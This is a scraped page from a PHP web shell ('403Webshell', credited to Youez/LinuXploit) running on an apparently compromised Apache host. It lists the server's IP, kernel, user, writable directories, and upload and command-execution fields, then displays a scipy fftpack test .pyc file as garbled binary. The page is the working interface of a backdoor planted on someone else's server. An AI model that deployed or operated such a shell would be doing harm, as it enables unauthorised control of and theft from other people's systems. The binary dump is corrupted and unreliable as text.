403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/scipy/fftpack/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/scipy/fftpack/tests/__pycache__/test_helper.cpython-311.pyc
�

d�c����dZddlmZddlmZmZmZmZddlm	Z	m
Z
Gd�d��ZGd�d��ZGd	�d
��Z
dS)z�
Build fftpack:
  python setup_fftpack.py build
Run tests if scipy is installed:
  python -c 'import scipy;scipy.fftpack.test(<level>)'
Run tests if fftpack is not installed:
  python tests/test_helper.py [<level>]
�)�assert_array_almost_equal)�fftshift�	ifftshift�fftfreq�rfftfreq)�pi�randomc��eZdZd�Zd�ZdS)�TestFFTShiftc��gd�}gd�}tt|��|��tt|��|��gd�}gd�}tt|��|��tt|��|��dS)N�	r����������������)	rrrrrrrrr�
rrrrr���rrrr)
rrrrrrrrrr)rrr)�self�x�ys   �A/usr/lib/python3/dist-packages/scipy/fftpack/tests/test_helper.py�test_definitionzTestFFTShift.test_definitions���#�#�#��#�#�#��!�(�1�+�+�a�0�0�0�!�)�A�,�,�q�1�1�1�&�&�&��&�&�&��!�(�1�+�+�a�0�0�0�!�)�A�,�,�q�1�1�1�1�1�c��dD]A}tj|f��}ttt|����|���BdS)N)rr�	�d��)r	rrr)r�nrs   r�test_inversezTestFFTShift.test_inversesQ�� �	@�	@�A��
�q�d�#�#�A�%�i�����&<�&<�Q�?�?�?�?�	@�	@rN)�__name__�
__module__�__qualname__rr#�rrrrs7������2�2�2�@�@�@�@�@rrc��eZdZd�ZdS)�TestFFTFreqc�N�gd�}tdtd��z|��tdtztdt��z|��gd�}tdtd��z|��tdtztdt��z|��dS)Nr
rr�
)rrr�rrs  rrzTestFFTFreq.test_definition%s���#�#�#��!�!�G�A�J�J�,�q�1�1�1�!�!�B�$�w�q��}�}�"4�Q�7�7�7�&�&�&��!�"�W�R�[�[�.��3�3�3�!�"�R�%���2���"6�q�9�9�9�9�9rN�r$r%r&rr'rrr)r)#s#������:�:�:�:�:rr)c��eZdZd�ZdS)�TestRFFTFreqc�N�gd�}tdtd��z|��tdtztdt��z|��gd�}tdtd��z|��tdtztdt��z|��dS)N)	rrrrrrrrrr)
rrrrrrrrr�r+)rrrr,s  rrzTestRFFTFreq.test_definition0s�������!�!�H�Q�K�K�-��2�2�2�!�!�B�$�x��"�~�~�"5�a�8�8�8�!�!�!��!�"�X�b�\�\�/�!�4�4�4�!�"�R�%���B���"7��:�:�:�:�:rNr-r'rrr/r/.s#������;�;�;�;�;rr/N)�	__usage__�
numpy.testingr�
scipy.fftpackrrrr�numpyrr	rr)r/r'rr�<module>r6s���
�	�4�3�3�3�3�3�@�@�@�@�@�@�@�@�@�@�@�@���������@�@�@�@�@�@�@�@�$:�:�:�:�:�:�:�:�;�;�;�;�;�;�;�;�;�;r

Youez - 2016 - github.com/yon3zu
LinuXploit